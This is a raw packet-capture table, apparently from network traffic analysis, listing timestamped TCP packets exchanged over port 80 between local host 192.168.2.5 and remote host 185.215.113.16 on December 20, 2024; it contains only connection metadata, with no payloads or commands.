Dec 20, 2024 16:53:33.880876064 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.881459951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.881546021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.881572008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.882181883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.882266998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.882594109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.882858038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.882945061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.882967949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.883533001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.883599997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.883730888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.884146929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.884207964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.884231091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.884810925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.884824038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.884891033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.885606050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.885679960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.885775089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.886332035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.886413097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.886477947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.886807919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.886920929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.886929035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.887459993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.887506008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.887634039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.888236046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.888360023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.888381004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.888919115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.889050961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.889133930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.889575958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.889588118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.889730930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.890032053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.890305996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.890388012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.890752077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.890830040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.890912056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.891383886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.891485929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.892144918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.892158031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.892229080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.892323017 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.892999887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.893012047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.893079996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.893465996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.893537045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.893610001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.894135952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.894418001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.894485950 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.894692898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.894807100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.895018101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.895325899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.895416021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.895436049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.896039009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.896609068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.896657944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.896677017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.896841049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.896959066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.897308111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.897416115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.897638083 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.898085117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.898150921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.898238897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.898632050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.898842096 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.898844957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.899286032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.899347067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.899996996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.900010109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.900052071 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.900122881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.900625944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.900707960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.900821924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.901285887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.901379108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.901612043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.902024984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.902105093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.902144909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.902645111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.902956009 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.902966022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.903275013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.903345108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.903399944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.904051065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.904117107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.904294014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.904501915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.904596090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.904603958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.904643059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.905093908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.905291080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.905436993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.905473948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.905513048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.906125069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.906229973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.906274080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.906311035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.906383991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.906938076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.907094002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.907130003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.907239914 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.907677889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.907751083 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.907850027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.908370018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.908468962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.908504963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.908564091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.908564091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.909008026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.909151077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.909188032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.909212112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.909905910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.909980059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.910048008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.910084963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.910331011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.910576105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.910705090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.910751104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.910867929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.911393881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.911503077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.911509991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.911542892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.911695957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.912132025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.912297010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.912336111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.912384033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.912976027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.913042068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.913130045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.913167953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.913338900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.913707972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.913868904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.913906097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.913995028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.914514065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.914653063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.914690971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.914695978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.914757967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.915308952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.915407896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.915443897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.915477991 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.916071892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.916148901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.916228056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.916265011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.916311979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.916901112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.917129040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.917165995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.917258024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.917887926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.918055058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.918071985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.918092012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.918215990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.918761969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.918844938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.918942928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.919037104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.919514894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.919641972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.919678926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.919717073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.919749975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.920139074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.920227051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.920265913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.920393944 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.920825958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.920922995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.920963049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.921071053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.921123981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.921727896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.921910048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.921945095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.921982050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.922054052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.922193050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.922645092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.922781944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.922817945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.922925949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.923432112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.923598051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.923600912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.923609972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.923671961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.924237013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.924329996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.924386024 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.924500942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.925012112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.925055027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.925143003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.925156116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.925292015 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.925792933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.925924063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.925935984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.925993919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.926562071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.926707983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.926738024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.926749945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.926810980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.927429914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.927519083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.927531958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.927603006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.928220034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.928296089 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.928306103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.928318024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.928375959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.928956985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.929030895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.929303885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.929306030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.929765940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.929776907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.929917097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.930135012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.930304050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.930572033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.930682898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.930695057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.930727005 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.931310892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.931395054 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.931411028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.931426048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.931583881 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.932087898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.932208061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.932219982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.932257891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.932853937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.932931900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.932960033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.932971954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.933012009 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.933702946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.933861971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.933897972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.933981895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.934446096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.934600115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.934624910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.934634924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.934726954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.935193062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.935497999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.935585022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.935633898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.935668945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.935820103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.936234951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.936376095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.936413050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.936431885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.937480927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.937516928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.937551975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.937597990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.937653065 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.937807083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.938103914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.938141108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.938179970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.938590050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.938924074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.938950062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.938958883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.939028978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.939476967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.939529896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.939564943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.939620018 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.940208912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.940243959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.940279007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.940354109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.940354109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.940956116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.941096067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.941132069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.941169977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.941709042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.941858053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.941864967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.941893101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.941948891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.942502975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.942631960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.942677021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.942703962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.943263054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.943345070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.943403959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.943438053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.943499088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.944057941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.944192886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.944226980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.944264889 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.944844961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.944937944 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.944987059 CET	80	49739	185.215.113.16	192.168.2.5
